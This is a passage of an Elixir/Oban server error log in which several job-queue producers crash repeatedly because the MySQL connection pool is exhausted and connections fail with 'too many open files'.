"webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.6227>, refresh_timer: #Reference<0.2525715032.1099431938.16933>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:27:34.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 841ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:27:20.445917Z], limit: 20, uuid: "fd3e0e09-7ae3-4a9e-b54a-511458f7c004", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:27:20.445931Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.6226>, refresh_timer: #Reference<0.2525715032.1099431938.16940>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:27:34.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1058ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:27:20.357741Z], limit: 10, uuid: "6759f6e1-c327-4cb9-a7a3-e81e52dd7164", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:27:20.357752Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.6228>, refresh_timer: #Reference<0.2525715032.1077411843.249259>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:27:34.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1054ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:27:20.438921Z], limit: 3, uuid: "ebde38f7-011f-43ac-a977-122b4dc7b6d3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:27:20.438933Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.6230>, refresh_timer: #Reference<0.2525715032.1077411843.249282>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:27:34.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1041ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:27:20.544722Z], limit: 5, uuid: "e832b03e-f19f-4625-8c04-811f73f76aa7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:27:20.544736Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.6224>, refresh_timer: #Reference<0.2525715032.1121189889.116528>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:27:34.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 815ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:27:20.304064Z], limit: 50, uuid: "9155612e-d128-4437-bef5-e78a8e8a1fa0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:27:20.323937Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.6229>, refresh_timer: #Reference<0.2525715032.1077411843.249227>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:27:35.764000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:27:42.089000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:27:42.110000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:27:43.419000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:27:46.187000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:27:46.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1081ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:27:34.244366Z], limit: 20, uuid: "f3f8c32f-916a-4c1f-87de-290d7f9ae348", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:27:34.244371Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.17160>, refresh_timer: #Reference<0.2525715032.1099431938.17143>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:27:46.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 853ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:27:34.249055Z], limit: 3, uuid: "b07ab491-5d7e-4c5b-a27b-58d97b1e7c1c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:27:34.249061Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.6606>, refresh_timer: #Reference<0.2525715032.1099431938.17134>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:27:46.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 885ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:27:34.243952Z], limit: 5, uuid: "1c1e14c4-d2c3-4a20-94e0-b687b6949039", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:27:34.243959Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.17161>, refresh_timer: #Reference<0.2525715032.1099431938.17140>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:27:46.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1091ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
